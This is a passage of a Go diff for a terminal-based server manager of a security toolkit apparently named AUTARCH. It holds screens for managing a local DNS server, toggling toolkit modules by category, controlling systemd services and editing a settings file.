lines = append(lines, fmt.Sprintf("Zone: %s — %d records", zone, len(records)))
lines = append(lines, "")
lines = append(lines, styleDim.Render(fmt.Sprintf(" %-8s %-30s %-6s %s", "TYPE", "NAME", "TTL", "VALUE")))
lines = append(lines, styleDim.Render(" "+strings.Repeat("─", 70)))
for _, r := range records {
rec, ok := r.(map[string]interface{})
if !ok {
continue
}
lines = append(lines, fmt.Sprintf(" %-8v %-30v %-6v %v",
rec["type"], rec["name"], rec["ttl"], rec["value"]))
}
return ResultMsg{Title: "Zone: " + zone, Lines: lines}
}
}
func (a App) manageDNSHosts() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/hosts")
if data == nil {
return ResultMsg{Title: "DNS Hosts", Lines: []string{"API unreachable."}, IsError: true}
}
hosts, ok := data.([]interface{})
if !ok {
return ResultMsg{Title: "DNS Hosts", Lines: []string{"No hosts entries."}}
}
var lines []string
lines = append(lines, fmt.Sprintf("%d host entries", len(hosts)))
lines = append(lines, "")
for _, h := range hosts {
hMap, _ := h.(map[string]interface{})
lines = append(lines, fmt.Sprintf(" %-16v %v", hMap["ip"], hMap["hostname"]))
}
return ResultMsg{Title: "DNS Hosts", Lines: lines}
}
}
func (a App) manageDNSBlocklist() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/blocklist")
if data == nil {
return ResultMsg{Title: "DNS Blocklist", Lines: []string{"API unreachable."}, IsError: true}
}
bl, ok := data.(map[string]interface{})
if !ok {
return ResultMsg{Title: "DNS Blocklist", Lines: []string{"Unexpected format."}}
}
var lines []string
if domains, ok := bl["domains"].([]interface{}); ok {
lines = append(lines, fmt.Sprintf("%d blocked domains", len(domains)))
lines = append(lines, "")
max := 30
if len(domains) < max {
max = len(domains)
}
for _, d := range domains[:max] {
lines = append(lines, " "+fmt.Sprintf("%v", d))
}
if len(domains) > 30 {
lines = append(lines, styleDim.Render(fmt.Sprintf(" ... and %d more", len(domains)-30)))
}
} else {
lines = append(lines, "Blocklist is empty.")
}
return ResultMsg{Title: "DNS Blocklist", Lines: lines}
}
}
func (a App) manageDNSForwarding() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/forwarding")
if data == nil {
return ResultMsg{Title: "DNS Forwarding", Lines: []string{"API unreachable."}, IsError: true}
}
rules, ok := data.([]interface{})
if !ok {
return ResultMsg{Title: "DNS Forwarding", Lines: []string{"No forwarding rules configured."}}
}
var lines []string
lines = append(lines, fmt.Sprintf("%d forwarding rules", len(rules)))
lines = append(lines, "")
for _, r := range rules {
rMap, _ := r.(map[string]interface{})
lines = append(lines, fmt.Sprintf(" %v → %v", rMap["zone"], rMap["upstream"]))
}
return ResultMsg{Title: "DNS Forwarding Rules", Lines: lines}
}
}
func (a App) flushDNSCache() (App, tea.Cmd) {
return a, func() tea.Msg {
return dnsAPIDelete("/api/cache")
}
}
func (a App) viewDNSQueryLog() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/querylog?limit=30")
if data == nil {
return ResultMsg{Title: "DNS Query Log", Lines: []string{"API unreachable."}, IsError: true}
}
entries, ok := data.([]interface{})
if !ok {
return ResultMsg{Title: "DNS Query Log", Lines: []string{"No entries."}}
}
var lines []string
for _, e := range entries {
eMap, _ := e.(map[string]interface{})
lines = append(lines, fmt.Sprintf(" %-20v %-6v %-30v %v",
eMap["time"], eMap["type"], eMap["name"], eMap["client"]))
}
return ResultMsg{Title: "DNS Query Log (last 30)", Lines: lines}
}
}
func (a App) viewDNSTopDomains() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/stats/top-domains?limit=20")
if data == nil {
return ResultMsg{Title: "Top Domains", Lines: []string{"API unreachable."}, IsError: true}
}
domains, ok := data.([]interface{})
if !ok {
return ResultMsg{Title: "Top Domains", Lines: []string{"No data."}}
}
var lines []string
for i, d := range domains {
dMap, _ := d.(map[string]interface{})
lines = append(lines, fmt.Sprintf(" %2d. %-40v %v queries", i+1, dMap["domain"], dMap["count"]))
}
return ResultMsg{Title: "Top 20 Queried Domains", Lines: lines}
}
}
func (a App) viewDNSEncryption() (App, tea.Cmd) {
return a, func() tea.Msg {
data := dnsAPIGet("/api/encryption")
if data == nil {
return ResultMsg{Title: "DNS Encryption", Lines: []string{"API unreachable."}, IsError: true}
}
enc, _ := data.(map[string]interface{})
var lines []string
for k, v := range enc {
status := styleStatusBad.Render("disabled")
if v == true {
status = styleStatusOK.Render("enabled")
}
lines = append(lines, fmt.Sprintf(" %-20s %s", k, status))
}
return ResultMsg{Title: "DNS Encryption Status", Lines: lines}
}
}
func (a App) dnsRootCheck() (App, tea.Cmd) {
return a, func() tea.Msg {
body := dnsAPIPostRaw("/api/rootcheck", "")
if body == nil {
return ResultMsg{Title: "Root Check", Lines: []string{"API unreachable."}, IsError: true}
}
results, ok := body.([]interface{})
if !ok {
return ResultMsg{Title: "Root Check", Lines: []string{"Unexpected format."}}
}
var lines []string
for _, r := range results {
rMap, _ := r.(map[string]interface{})
latency := fmt.Sprintf("%v", rMap["latency"])
status := styleSuccess.Render("✔")
if rMap["error"] != nil && rMap["error"] != "" {
status = styleError.Render("✘")
latency = fmt.Sprintf("%v", rMap["error"])
}
lines = append(lines, fmt.Sprintf(" %s %-20v %s", status, rMap["server"], latency))
}
return ResultMsg{Title: "Root Server Latency Check", Lines: lines}
}
}
// ── DNS API Helpers ─────────────────────────────────────────────────
func getDNSAPIBase() string {
return "http://127.0.0.1:5380"
}
func getDNSAPIToken() string {
dir := findAutarchDir()
configPath := dir + "/data/dns/config.json"
data, err := readFileBytes(configPath)
if err != nil {
return ""
}
var cfg map[string]interface{}
if err := json.Unmarshal(data, &cfg); err != nil {
return ""
}
if token, ok := cfg["api_token"].(string); ok {
return token
}
return ""
}
func getDNSAPIStatus() map[string]interface{} {
data := dnsAPIGet("/api/metrics")
if data == nil {
return nil
}
m, ok := data.(map[string]interface{})
if !ok {
return nil
}
return m
}
func dnsAPIGet(path string) interface{} {
url := getDNSAPIBase() + path
token := getDNSAPIToken()
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil
}
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
var result interface{}
json.NewDecoder(resp.Body).Decode(&result)
return result
}
func dnsAPIPost(path, body string) tea.Msg {
result := dnsAPIPostRaw(path, body)
if result == nil {
return ResultMsg{Title: "Error", Lines: []string{"API request failed."}, IsError: true}
}
return ResultMsg{Title: "Success", Lines: []string{"Operation completed."}}
}
func dnsAPIPostRaw(path, body string) interface{} {
url := getDNSAPIBase() + path
token := getDNSAPIToken()
req, err := http.NewRequest("POST", url, strings.NewReader(body))
if err != nil {
return nil
}
req.Header.Set("Content-Type", "application/json")
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil
}
defer resp.Body.Close()
var result interface{}
json.NewDecoder(resp.Body).Decode(&result)
return result
}
func dnsAPIDelete(path string) tea.Msg {
url := getDNSAPIBase() + path
token := getDNSAPIToken()
req, err := http.NewRequest("DELETE", url, nil)
if err != nil {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
defer resp.Body.Close()
return ResultMsg{Title: "Success", Lines: []string{"Deleted."}}
}

View File

@ -0,0 +1,52 @@
package tui
import tea "github.com/charmbracelet/bubbletea"
func (a App) handleMainMenu(key string) (tea.Model, tea.Cmd) {
// Number key shortcut
for _, item := range a.mainMenu {
if key == item.Key {
if item.Key == "q" {
return a, tea.Quit
}
return a.navigateToView(item.View)
}
}
// Enter on selected item
if key == "enter" {
if a.cursor >= 0 && a.cursor < len(a.mainMenu) {
item := a.mainMenu[a.cursor]
if item.Key == "q" {
return a, tea.Quit
}
return a.navigateToView(item.View)
}
}
return a, nil
}
func (a App) navigateToView(v ViewID) (tea.Model, tea.Cmd) {
a.pushView(v)
switch v {
case ViewDeploy:
// Static menu, no async loading
case ViewDeps:
// Load dependency status
return a, a.loadDepsStatus()
case ViewModules:
return a, a.loadModules()
case ViewSettings:
return a, a.loadSettings()
case ViewUsers:
// Static menu, no loading
case ViewService:
return a, a.loadServiceStatus()
case ViewDNS:
// Static menu
}
return a, nil
}

View File

@ -0,0 +1,273 @@
package tui
import (
"fmt"
"os"
"path/filepath"
"sort"
"strings"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// ── Module Categories ───────────────────────────────────────────────
var moduleCategories = map[string]string{
"defender.py": "Defense",
"defender_monitor.py": "Defense",
"defender_windows.py": "Defense",
"container_sec.py": "Defense",
"msf.py": "Offense",
"exploit_dev.py": "Offense",
"loadtest.py": "Offense",
"phishmail.py": "Offense",
"deauth.py": "Offense",
"mitm_proxy.py": "Offense",
"c2_framework.py": "Offense",
"api_fuzzer.py": "Offense",
"webapp_scanner.py": "Offense",
"cloud_scan.py": "Offense",
"starlink_hack.py": "Offense",
"rcs_tools.py": "Offense",
"sms_forge.py": "Offense",
"pineapple.py": "Offense",
"password_toolkit.py": "Offense",
"counter.py": "Counter",
"anti_forensics.py": "Counter",
"analyze.py": "Analysis",
"forensics.py": "Analysis",
"llm_trainer.py": "Analysis",
"report_engine.py": "Analysis",
"threat_intel.py": "Analysis",
"ble_scanner.py": "Analysis",
"rfid_tools.py": "Analysis",
"reverse_eng.py": "Analysis",
"steganography.py": "Analysis",
"incident_resp.py": "Analysis",
"net_mapper.py": "Analysis",
"log_correlator.py": "Analysis",
"malware_sandbox.py": "Analysis",
"email_sec.py": "Analysis",
"vulnerab_scanner.py": "Analysis",
"recon.py": "OSINT",
"dossier.py": "OSINT",
"geoip.py": "OSINT",
"adultscan.py": "OSINT",
"yandex_osint.py": "OSINT",
"social_eng.py": "OSINT",
"ipcapture.py": "OSINT",
"snoop_decoder.py": "OSINT",
"simulate.py": "Simulate",
"android_apps.py": "Android",
"android_advanced.py": "Android",
"android_boot.py": "Android",
"android_payload.py": "Android",
"android_protect.py": "Android",
"android_recon.py": "Android",
"android_root.py": "Android",
"android_screen.py": "Android",
"android_sms.py": "Android",
"hardware_local.py": "Hardware",
"hardware_remote.py": "Hardware",
"iphone_local.py": "Hardware",
"wireshark.py": "Hardware",
"sdr_tools.py": "Hardware",
"upnp_manager.py": "System",
"wireguard_manager.py": "System",
"revshell.py": "System",
"hack_hijack.py": "System",
"chat.py": "Core",
"agent.py": "Core",
"agent_hal.py": "Core",
"mysystem.py": "Core",
"setup.py": "Core",
"workflow.py": "Core",
"nettest.py": "Core",
"rsf.py": "Core",
"ad_audit.py": "Offense",
"router_sploit.py": "Offense",
"wifi_audit.py": "Offense",
}
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderModulesList() string {
var b strings.Builder
b.WriteString(styleTitle.Render("MODULES"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
if len(a.listItems) == 0 {
b.WriteString(styleDim.Render(" Loading..."))
b.WriteString("\n")
return b.String()
}
// Group by category
groups := make(map[string][]int)
for i, item := range a.listItems {
groups[item.Extra] = append(groups[item.Extra], i)
}
// Sort category names
var cats []string
for c := range groups {
cats = append(cats, c)
}
sort.Strings(cats)
for _, cat := range cats {
b.WriteString(styleKey.Render(fmt.Sprintf(" ── %s ", cat)))
b.WriteString(styleDim.Render(fmt.Sprintf("(%d)", len(groups[cat]))))
b.WriteString("\n")
for _, idx := range groups[cat] {
item := a.listItems[idx]
cursor := " "
if idx == a.cursor {
cursor = styleSelected.Render(" ▸") + " "
}
status := styleStatusOK.Render("●")
if !item.Enabled {
status = styleStatusBad.Render("○")
}
name := item.Name
if idx == a.cursor {
name = lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(name)
}
b.WriteString(fmt.Sprintf("%s%s %s\n", cursor, status, name))
}
b.WriteString("\n")
}
b.WriteString(a.renderHR())
b.WriteString(styleKey.Render(" [enter]") + " Toggle enabled/disabled ")
b.WriteString(styleKey.Render("[r]") + " Refresh\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleModulesMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "enter":
if a.cursor >= 0 && a.cursor < len(a.listItems) {
return a.toggleModule(a.cursor)
}
case "r":
return a, a.loadModules()
}
return a, nil
}
func (a App) handleModuleToggle(key string) (tea.Model, tea.Cmd) {
return a.handleModulesMenu(key)
}
// ── Commands ────────────────────────────────────────────────────────
func (a App) loadModules() tea.Cmd {
return func() tea.Msg {
dir := findAutarchDir()
modulesDir := filepath.Join(dir, "modules")
entries, err := os.ReadDir(modulesDir)
if err != nil {
return ResultMsg{
Title: "Error",
Lines: []string{"Cannot read modules directory: " + err.Error()},
IsError: true,
}
}
var items []ListItem
for _, e := range entries {
name := e.Name()
if !strings.HasSuffix(name, ".py") || name == "__init__.py" {
continue
}
cat := "Other"
if c, ok := moduleCategories[name]; ok {
cat = c
}
// Check if module has a run() function (basic check)
content, _ := os.ReadFile(filepath.Join(modulesDir, name))
hasRun := strings.Contains(string(content), "def run(")
items = append(items, ListItem{
Name: strings.TrimSuffix(name, ".py"),
Enabled: hasRun,
Extra: cat,
Status: name,
})
}
// Sort by category then name
sort.Slice(items, func(i, j int) bool {
if items[i].Extra != items[j].Extra {
return items[i].Extra < items[j].Extra
}
return items[i].Name < items[j].Name
})
return modulesLoadedMsg{items: items}
}
}
type modulesLoadedMsg struct{ items []ListItem }
func (a App) toggleModule(idx int) (App, tea.Cmd) {
if idx < 0 || idx >= len(a.listItems) {
return a, nil
}
item := a.listItems[idx]
dir := findAutarchDir()
modulesDir := filepath.Join(dir, "modules")
disabledDir := filepath.Join(modulesDir, "disabled")
srcFile := filepath.Join(modulesDir, item.Status)
dstFile := filepath.Join(disabledDir, item.Status)
if item.Enabled {
// Disable: move to disabled/
os.MkdirAll(disabledDir, 0755)
if err := os.Rename(srcFile, dstFile); err != nil {
return a, func() tea.Msg {
return ResultMsg{
Title: "Error",
Lines: []string{"Cannot disable module: " + err.Error()},
IsError: true,
}
}
}
a.listItems[idx].Enabled = false
} else {
// Enable: move from disabled/ back
if err := os.Rename(dstFile, srcFile); err != nil {
// It might just be a module without run()
return a, func() tea.Msg {
return ResultMsg{
Title: "Note",
Lines: []string{"Module " + item.Name + " is present but has no run() entry point."},
IsError: false,
}
}
}
a.listItems[idx].Enabled = true
}
return a, nil
}

View File

@ -0,0 +1,380 @@
package tui
import (
"fmt"
"os/exec"
"strings"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// ── Service Definitions ─────────────────────────────────────────────
type serviceInfo struct {
Name string
Unit string // systemd unit name
Desc string
Binary string // path to check
}
var managedServices = []serviceInfo{
{"AUTARCH Web", "autarch-web", "Web dashboard (Flask)", "autarch_web.py"},
{"AUTARCH DNS", "autarch-dns", "DNS server (Go)", "autarch-dns"},
{"AUTARCH Autonomy", "autarch-autonomy", "Autonomous AI daemon", ""},
}
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderServiceMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("SERVICE MANAGEMENT"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
// Show service statuses — checks both systemd and raw processes
svcChecks := []struct {
Info serviceInfo
Process string // process name to pgrep for
}{
{managedServices[0], "autarch_web.py"},
{managedServices[1], "autarch-dns"},
{managedServices[2], "autonomy"},
}
for _, sc := range svcChecks {
status, running := getProcessStatus(sc.Info.Unit, sc.Process)
indicator := styleStatusOK.Render("● running")
if !running {
indicator = styleStatusBad.Render("○ stopped")
}
b.WriteString(fmt.Sprintf(" %s %s\n",
indicator,
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(sc.Info.Name),
))
b.WriteString(fmt.Sprintf(" %s %s\n",
styleDim.Render(sc.Info.Desc),
styleDim.Render("("+status+")"),
))
b.WriteString("\n")
}
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleKey.Render(" [1]") + " Start/Stop AUTARCH Web\n")
b.WriteString(styleKey.Render(" [2]") + " Start/Stop AUTARCH DNS\n")
b.WriteString(styleKey.Render(" [3]") + " Start/Stop Autonomy Daemon\n")
b.WriteString("\n")
b.WriteString(styleKey.Render(" [r]") + " Restart all running services\n")
b.WriteString(styleKey.Render(" [e]") + " Enable all services on boot\n")
b.WriteString(styleKey.Render(" [i]") + " Install/update systemd unit files\n")
b.WriteString(styleKey.Render(" [l]") + " View service logs (journalctl)\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleServiceMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "1":
return a.toggleService(0)
case "2":
return a.toggleService(1)
case "3":
return a.toggleService(2)
case "r":
return a.restartAllServices()
case "e":
return a.enableAllServices()
case "i":
return a.installServiceUnits()
case "l":
return a.viewServiceLogs()
}
return a, nil
}
// ── Commands ────────────────────────────────────────────────────────
func (a App) loadServiceStatus() tea.Cmd {
return nil // Services are checked live in render
}
func getServiceStatus(unit string) (string, bool) {
out, err := exec.Command("systemctl", "is-active", unit).Output()
status := strings.TrimSpace(string(out))
if err != nil || status != "active" {
// Check if unit exists
_, existErr := exec.Command("systemctl", "cat", unit).Output()
if existErr != nil {
return "not installed", false
}
return status, false
}
return status, true
}
// getProcessStatus checks both systemd and direct process for a service.
// Returns (status description, isRunning).
func getProcessStatus(unitName, processName string) (string, bool) {
// First try systemd
status, running := getServiceStatus(unitName)
if running {
return "systemd: " + status, true
}
// Fall back to process detection (pgrep)
out, err := exec.Command("pgrep", "-f", processName).Output()
if err == nil && strings.TrimSpace(string(out)) != "" {
pids := strings.Fields(strings.TrimSpace(string(out)))
return fmt.Sprintf("running (PID %s)", pids[0]), true
}
return status, false
}
func (a App) toggleService(idx int) (App, tea.Cmd) {
if idx < 0 || idx >= len(managedServices) {
return a, nil
}
svc := managedServices[idx]
processNames := []string{"autarch_web.py", "autarch-dns", "autonomy"}
procName := processNames[idx]
_, sysRunning := getServiceStatus(svc.Unit)
_, procRunning := getProcessStatus(svc.Unit, procName)
isRunning := sysRunning || procRunning
return a, func() tea.Msg {
dir := findAutarchDir()
if isRunning {
// Stop — try systemd first, then kill process
if sysRunning {
cmd := exec.Command("systemctl", "stop", svc.Unit)
cmd.CombinedOutput()
}
// Also kill any direct processes
exec.Command("pkill", "-f", procName).Run()
return ResultMsg{
Title: "Service " + svc.Name,
Lines: []string{svc.Name + " stopped."},
}
}
// Start — try systemd first, fall back to direct launch
if _, err := exec.Command("systemctl", "cat", svc.Unit).Output(); err == nil {
cmd := exec.Command("systemctl", "start", svc.Unit)
out, err := cmd.CombinedOutput()
if err != nil {
return ResultMsg{
Title: "Service Error",
Lines: []string{"systemctl start failed:", string(out), err.Error(), "", "Trying direct launch..."},
IsError: true,
}
}
return ResultMsg{
Title: "Service " + svc.Name,
Lines: []string{svc.Name + " started via systemd."},
}
}
// Direct launch (no systemd unit installed)
var startCmd *exec.Cmd
switch idx {
case 0: // Web
venvPy := dir + "/venv/bin/python3"
startCmd = exec.Command(venvPy, dir+"/autarch_web.py")
case 1: // DNS
binary := dir + "/services/dns-server/autarch-dns"
configFile := dir + "/data/dns/config.json"
startCmd = exec.Command(binary, "--config", configFile)
case 2: // Autonomy
venvPy := dir + "/venv/bin/python3"
startCmd = exec.Command(venvPy, "-c",
"import sys; sys.path.insert(0,'"+dir+"'); from core.autonomy import AutonomyDaemon; AutonomyDaemon().run()")
}
if startCmd != nil {
startCmd.Dir = dir
// Detach process so it survives manager exit
startCmd.Stdout = nil
startCmd.Stderr = nil
if err := startCmd.Start(); err != nil {
return ResultMsg{
Title: "Service Error",
Lines: []string{"Failed to start " + svc.Name + ":", err.Error()},
IsError: true,
}
}
// Release so it runs independently
go startCmd.Wait()
return ResultMsg{
Title: "Service " + svc.Name,
Lines: []string{
svc.Name + " started directly (PID " + fmt.Sprintf("%d", startCmd.Process.Pid) + ").",
"",
styleDim.Render("Tip: Install systemd units with [i] for persistent service management."),
},
}
}
return ResultMsg{
Title: "Error",
Lines: []string{"No start method available for " + svc.Name},
IsError: true,
}
}
}
func (a App) restartAllServices() (App, tea.Cmd) {
return a, func() tea.Msg {
var lines []string
for _, svc := range managedServices {
_, running := getServiceStatus(svc.Unit)
if running {
cmd := exec.Command("systemctl", "restart", svc.Unit)
out, err := cmd.CombinedOutput()
if err != nil {
lines = append(lines, styleError.Render("✘ "+svc.Name+": "+strings.TrimSpace(string(out))))
} else {
lines = append(lines, styleSuccess.Render("✔ "+svc.Name+": restarted"))
}
} else {
lines = append(lines, styleDim.Render("- "+svc.Name+": not running, skipped"))
}
}
return ResultMsg{Title: "Restart Services", Lines: lines}
}
}
func (a App) enableAllServices() (App, tea.Cmd) {
return a, func() tea.Msg {
var lines []string
for _, svc := range managedServices {
cmd := exec.Command("systemctl", "enable", svc.Unit)
_, err := cmd.CombinedOutput()
if err != nil {
lines = append(lines, styleWarning.Render("⚠ "+svc.Name+": could not enable (unit may not exist)"))
} else {
lines = append(lines, styleSuccess.Render("✔ "+svc.Name+": enabled on boot"))
}
}
return ResultMsg{Title: "Enable Services", Lines: lines}
}
}
func (a App) installServiceUnits() (App, tea.Cmd) {
return a, func() tea.Msg {
dir := findAutarchDir()
var lines []string
// Web service unit
webUnit := fmt.Sprintf(`[Unit]
Description=AUTARCH Web Dashboard
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/venv/bin/python3 %s/autarch_web.py
Restart=on-failure
RestartSec=5
Environment=PYTHONUNBUFFERED=1
[Install]
WantedBy=multi-user.target
`, dir, dir, dir)
// DNS service unit
dnsUnit := fmt.Sprintf(`[Unit]
Description=AUTARCH DNS Server
After=network.target
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/services/dns-server/autarch-dns --config %s/data/dns/config.json
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
`, dir, dir, dir)
// Autonomy daemon unit
autoUnit := fmt.Sprintf(`[Unit]
Description=AUTARCH Autonomy Daemon
After=network.target autarch-web.service
[Service]
Type=simple
User=root
WorkingDirectory=%s
ExecStart=%s/venv/bin/python3 -c "from core.autonomy import AutonomyDaemon; AutonomyDaemon().run()"
Restart=on-failure
RestartSec=10
Environment=PYTHONUNBUFFERED=1
[Install]
WantedBy=multi-user.target
`, dir, dir)
units := map[string]string{
"autarch-web.service": webUnit,
"autarch-dns.service": dnsUnit,
"autarch-autonomy.service": autoUnit,
}
for name, content := range units {
path := "/etc/systemd/system/" + name
if err := writeFileAtomic(path, []byte(content)); err != nil {
lines = append(lines, styleError.Render("✘ "+name+": "+err.Error()))
} else {
lines = append(lines, styleSuccess.Render("✔ "+name+": installed"))
}
}
// Reload systemd
exec.Command("systemctl", "daemon-reload").Run()
lines = append(lines, "", styleSuccess.Render("✔ systemctl daemon-reload"))
return ResultMsg{Title: "Service Units Installed", Lines: lines}
}
}
func (a App) viewServiceLogs() (App, tea.Cmd) {
return a, func() tea.Msg {
var lines []string
for _, svc := range managedServices {
out, _ := exec.Command("journalctl", "-u", svc.Unit, "-n", "10", "--no-pager").Output()
lines = append(lines, styleKey.Render("── "+svc.Name+" ──"))
logLines := strings.Split(strings.TrimSpace(string(out)), "\n")
for _, l := range logLines {
lines = append(lines, " "+l)
}
lines = append(lines, "")
}
return ResultMsg{Title: "Service Logs (last 10 entries)", Lines: lines}
}
}
func writeFileAtomic(path string, data []byte) error {
tmp := path + ".tmp"
if err := writeFile(tmp, data, 0644); err != nil {
return err
}
return renameFile(tmp, path)
}

View File

@ -0,0 +1,249 @@
package tui
import (
"fmt"
"os"
"sort"
"strings"
"github.com/charmbracelet/bubbles/textinput"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/darkhal/autarch-server-manager/internal/config"
)
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderSettingsSections() string {
var b strings.Builder
b.WriteString(styleTitle.Render("SETTINGS — autarch_settings.conf"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
if len(a.settingsSections) == 0 {
b.WriteString(styleDim.Render(" Loading..."))
b.WriteString("\n")
return b.String()
}
for i, sec := range a.settingsSections {
cursor := " "
if i == a.cursor {
cursor = styleSelected.Render(" ▸") + " "
b.WriteString(cursor + styleKey.Render("["+sec+"]") + "\n")
} else {
b.WriteString(cursor + styleDim.Render("["+sec+"]") + "\n")
}
}
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString(styleKey.Render(" [enter]") + " Edit section ")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
func (a App) renderSettingsKeys() string {
var b strings.Builder
b.WriteString(styleTitle.Render(fmt.Sprintf("SETTINGS — [%s]", a.settingsSection)))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for i, key := range a.settingsKeys {
val := ""
if i < len(a.settingsVals) {
val = a.settingsVals[i]
}
cursor := " "
if i == a.cursor {
cursor = styleSelected.Render(" ▸") + " "
}
// Mask sensitive values
displayVal := val
if isSensitiveKey(key) && len(val) > 4 {
displayVal = val[:4] + strings.Repeat("•", len(val)-4)
}
b.WriteString(fmt.Sprintf("%s%s = %s\n",
cursor,
styleKey.Render(key),
lipgloss.NewStyle().Foreground(colorWhite).Render(displayVal),
))
}
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString(styleKey.Render(" [enter]") + " Edit all values ")
b.WriteString(styleKey.Render("[d]") + " Edit selected ")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
func isSensitiveKey(key string) bool {
k := strings.ToLower(key)
return strings.Contains(k, "password") || strings.Contains(k, "secret") ||
strings.Contains(k, "api_key") || strings.Contains(k, "token")
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleSettingsMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "enter":
if a.cursor >= 0 && a.cursor < len(a.settingsSections) {
a.settingsSection = a.settingsSections[a.cursor]
return a.loadSettingsSection()
}
}
return a, nil
}
func (a App) handleSettingsSection(key string) (tea.Model, tea.Cmd) {
switch key {
case "enter":
// Edit all values in this section
return a.openSettingsEdit()
case "d":
// Edit single selected value
if a.cursor >= 0 && a.cursor < len(a.settingsKeys) {
return a.openSingleSettingEdit(a.cursor)
}
}
return a, nil
}
// ── Commands ────────────────────────────────────────────────────────
func (a App) loadSettings() tea.Cmd {
return func() tea.Msg {
confPath := findAutarchDir() + "/autarch_settings.conf"
sections, err := config.ListSections(confPath)
if err != nil {
return ResultMsg{
Title: "Error",
Lines: []string{"Cannot read config: " + err.Error()},
IsError: true,
}
}
sort.Strings(sections)
return settingsLoadedMsg{sections: sections}
}
}
type settingsLoadedMsg struct{ sections []string }
func (a App) loadSettingsSection() (App, tea.Cmd) {
confPath := findAutarchDir() + "/autarch_settings.conf"
keys, vals, err := config.GetSection(confPath, a.settingsSection)
if err != nil {
return a, func() tea.Msg {
return ResultMsg{
Title: "Error",
Lines: []string{err.Error()},
IsError: true,
}
}
}
a.settingsKeys = keys
a.settingsVals = vals
a.pushView(ViewSettingsSection)
return a, nil
}
func (a App) openSettingsEdit() (App, tea.Cmd) {
a.labels = make([]string, len(a.settingsKeys))
a.inputs = make([]textinput.Model, len(a.settingsKeys))
copy(a.labels, a.settingsKeys)
for i, val := range a.settingsVals {
ti := textinput.New()
ti.CharLimit = 512
ti.Width = 50
ti.SetValue(val)
if isSensitiveKey(a.settingsKeys[i]) {
ti.EchoMode = textinput.EchoPassword
}
if i == 0 {
ti.Focus()
}
a.inputs[i] = ti
}
a.focusIdx = 0
a.pushView(ViewSettingsEdit)
return a, nil
}
func (a App) openSingleSettingEdit(idx int) (App, tea.Cmd) {
a.labels = []string{a.settingsKeys[idx]}
a.inputs = make([]textinput.Model, 1)
ti := textinput.New()
ti.CharLimit = 512
ti.Width = 50
ti.SetValue(a.settingsVals[idx])
if isSensitiveKey(a.settingsKeys[idx]) {
ti.EchoMode = textinput.EchoPassword
}
ti.Focus()
a.inputs[0] = ti
a.focusIdx = 0
a.pushView(ViewSettingsEdit)
return a, nil
}
func (a App) saveSettings() (App, tea.Cmd) {
confPath := findAutarchDir() + "/autarch_settings.conf"
// Read the full config file
data, err := os.ReadFile(confPath)
if err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
}
content := string(data)
// Apply changes
for i, label := range a.labels {
newVal := a.inputs[i].Value()
content = config.SetValue(content, a.settingsSection, label, newVal)
}
if err := os.WriteFile(confPath, []byte(content), 0644); err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
}
a.popView()
// Reload the section
keys, vals, _ := config.GetSection(confPath, a.settingsSection)
a.settingsKeys = keys
a.settingsVals = vals
return a, func() tea.Msg {
return ResultMsg{
Title: "Settings Saved",
Lines: []string{
fmt.Sprintf("Updated [%s] section with %d values.", a.settingsSection, len(a.labels)),
"",
"Restart AUTARCH services for changes to take effect.",
},
}
}
}

View File

@ -0,0 +1,225 @@
package tui
import (
"strings"
"github.com/charmbracelet/bubbles/textinput"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/darkhal/autarch-server-manager/internal/users"
)
// ── Rendering ───────────────────────────────────────────────────────
